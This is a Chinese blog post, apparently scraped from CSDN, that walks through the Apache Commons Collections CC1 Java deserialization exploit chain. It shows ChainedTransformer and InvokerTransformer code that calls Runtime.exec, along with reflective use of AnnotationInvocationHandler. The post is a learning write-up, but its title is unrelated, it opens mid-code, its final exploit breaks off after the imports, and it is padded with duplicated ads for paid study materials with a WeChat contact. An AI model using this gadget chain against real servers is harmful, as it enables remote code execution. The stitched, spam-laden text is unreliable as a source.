[Java安全入门]三,2024年最新史上最通俗计算机网络分层详解

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
img

正文

    }
    return object;
}

该方法会遍历所有接口类型数组,然后调用其transform方法,并且结构作为下一次循环的参数



### 3.3过程分析



hainedTransformer chain = new ChainedTransformer(new Transformer[] …)


最外层是实例化一个ChainedTransformer类,参数是一个Transformer接口类数组。



new ConstantTransformer(Runtime.class)


第一个类是ConstantTransformer,构造时传入了一个Runtime类,所以ConstantTransformer.iConstant=Runtime.class



new InvokerTransformer(“getMethod”,
new Class[]
{String.class, Class[].class},
new Object[]
{“getRuntime”, new Class[0]}
)


第二个类是InvokerTransformer类,构造时,方法名为传入的是getMethod,参数类型传入的是String类型和Class[]类型,参数为getRuntime和一个空的Class类型数组



new InvokerTransformer(“invoke”,
new Class[]
{Object.class, Object[].class},
new Object[]
{null,new Object[0]}
)


第三个类还是InvokerTransformer类,传入的方法名是invoke,参数类型是Object类型和Object数组类型,第一个参数是null,第二个参数是空的Object数组



new InvokerTransformer(“exec”,new Class[] { String.class }, new Object[]{“calc”})}


第三个类还是InvokerTransformer类,传入的方法名是exec,参数类型是String类型,参数值是calc



chain.transform(123);


传入这些有transformer接口的类之后,执行ChainedTransformer里面的transform方法实现命令执行


仔细分析chain.transform方法



public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}


遍历传入所有类的transform方法


Ⅰ.执行ConstantTransformer.transform,返回Runtime.class Object=Runtime.class.



public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}


Ⅱ.执行InvokerTransformer.transform,input为Runtime.class,先反射获取这个类,Class cls=input.getClass(),然后cls就变成了Class类,无法直接通过getMethod获取getRuntime方法,所以通过嵌套,让method写成getMethod方法,然后invoke的时候再对Runtime.class调用getRuntime方法,这样object就变成了Runtime.getRuntime



Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);


Ⅲ.input为Runtime.getRuntime,同样通过嵌套,先使method为invoke方法,然后再对    Runtime.getRuntime使用invoke(method)调用exec方法,参数为calc,然后弹出计算器



Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);


![](https://img-blog.csdnimg.cn/direct/efa843e7750243d780a16f8169325ca0.png)


## 4.找利用链


### 4.1 TransformedMap


`已知`InvokerTransformer类可以调用transform方法执行命令,那接下来的思路就是寻找还有其他什么地方调用了InvokerTransformer类的transform方法,并且最终通过readObject重写进行反序列化


![](https://img-blog.csdnimg.cn/direct/c5a7ddf785d0443ea12819e61f1350ba.png)


主要是其中三个Map类


先看TransformedMap



protected Object transformKey(Object object) {
if (keyTransformer == null) {
return object;
}
return keyTransformer.transform(object);
}
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}


两个方法都调用了transform方法,这里利用checkSetValue()



protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}


构造器接受三个参数,第一个是Map类型,然后两个Transformer类型,Map可以利用在上一篇URLDNS里面利用的HashMap,其重写了readObject方法。


keyTransformer和valueTransformer都是protected类型,不能在外部调用,所以要找TransformedMap什么方法调用了构造函数



public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}


巧的是decorate调用了构造函数


然后找哪里调用了TransformedMap类的checkSetValue方法


发现在AbstractInputCheckedMapDecorator类的继承类Mapentry调用了checkSetValue



static class MapEntry extends AbstractMapEntryDecorator {

    /** The parent map */
    private final AbstractInputCheckedMapDecorator parent;

    protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
        super(entry);
        this.parent = parent;
    }

    public Object setValue(Object value) {
        value = parent.checkSetValue(value);
        return entry.setValue(value);
    }
}

更好的是AbstractInputCheckedMapDecorator是TransformedMap类的父类



public class TransformedMap
extends AbstractInputCheckedMapDecorator


AbstractMapEntryDecorator又引入了Map.Entry接口,只要进行常用的Map遍历,就可以调用setValue(),然后就能调用checkSetValue


### 4.2简单例子



import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Cc1 {
public static void main(String[] args) throws IllegalAccessException, NoSuchMethodException{
InvokerTransformer invokerTransformer=new InvokerTransformer(“exec”,new Class[]{String.class},new Object[]{“calc”});
//先构造一个invoker
HashMap hashMap=new HashMap();
//用HashMap传入decorate
hashMap.put(1,1);
Map<Object,Object> transformedMap=TransformedMap.decorate(hashMap,null,invokerTransformer);
//构造好TransformedMap,现在需要触发checkSetValue并把指令传进去

    Runtime cmd=Runtime.getRuntime();

    for(Map.Entry entry:transformedMap.entrySet())
    {
        entry.setValue(cmd);
    }
    //通过遍历Map,调用setValue触发checkSetValue


}

}


![](https://img-blog.csdnimg.cn/direct/b4108b1b0dbd4426ac10d49274c8696e.png)


然后再找哪里调用了setValue方法


发现 AnnotationInvocationHandler 类的readObject方法调用了setValue,非常nice



private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}

}



String name = memberValue.getKey();


AnnotationInvocationHandler 类并不是public类型,无法在外面通过名字调用,要用反射调用这个类


看构造函数



AnnotationInvocationHandler(Class<? extends Annotation> type, Map


接受两个参数,一个class对象,class对象继承了Annotation,需要传入一个注解类,另一个参数 Map对象,而且readObject里面有对map的遍历,所以可以传入我们的Transformed类


如何反射获取AnnotationInvocationHandler 类,看下面代码



Class cls=Class.forName(“sun.reflect.annotation.AnnotationInvocationHandler”);
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object annotationConstructor=constructor.newInstance(Target.class,transformedMap);


### 4.3三个问题


1.Runtime类不可以序列化


2.执行setValue需要满足两个条件


3.setValue的值如何控制



问题1.Runtime类不可以序列化,但是Class可以序列化,需要用反射,用我们之前最基础的链子即可



Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(“getMethod”, new Class[]{String.class, Class[].class}, new Object[]{“getRuntime”, null}),
new InvokerTransformer(“invoke”,new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer(“exec”, new Class[]{String.class}, new Object[]{“calc”})
};

    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    //chainedTransformer.transform(Runtime.class);

问题2.两个if条件



if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy))


memberType 不为空,注解类传入target就不会空


问题3.利用ConstantTransformer传值解决


## 5.最终exp



import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;

本人从事网路安全工作12年,曾在2个大厂工作过,安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过,对这个行业了解比较全面。

最近遍览了各种网络安全类的文章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。

最后,我将这部分内容融会贯通成了一套282G的网络安全资料包,所有类目条理清晰,知识点层层递进,需要的小伙伴可以点击下方小卡片领取哦!下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。

学习路线图

其中最为瞩目也是最为基础的就是网络安全学习路线图,这里我给大家分享一份打磨了3个月,已经更新到4.0版本的网络安全学习路线图。

相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。

网络安全工具箱

当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。

项目实战

最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

面试题

归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
img

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

面试题

归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
[外链图片转存中…(img-YgzyTvaH-1713191797948)]

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 26
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值